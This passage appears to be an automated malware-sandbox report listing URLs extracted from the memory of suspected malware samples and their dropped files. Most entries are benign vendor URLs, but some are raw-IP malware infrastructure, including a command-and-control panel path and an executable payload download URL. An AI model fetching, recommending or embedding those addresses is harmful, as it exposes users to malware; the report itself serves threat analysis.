Source: skotes.exe, 0000001F.00000002.3411897951.000000000087C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJ
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpm
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001F.00000002.3411897951.000000000080B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe01
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe60
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exec
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exed
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeed
Source: skotes.exe, 0000001F.00000002.3411897951.000000000080B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeocal
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/q
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_532.6.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757716947.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_532.6.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp.14.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.14.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.13.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.13.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 59c7503a-d5f8-453b-8b1d-1f007f1403b7.tmp.14.dr, 8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp.14.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.13.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 59c7503a-d5f8-453b-8b1d-1f007f1403b7.tmp.14.dr, 8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp.14.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.13.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 59c7503a-d5f8-453b-8b1d-1f007f1403b7.tmp.14.dr, 8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
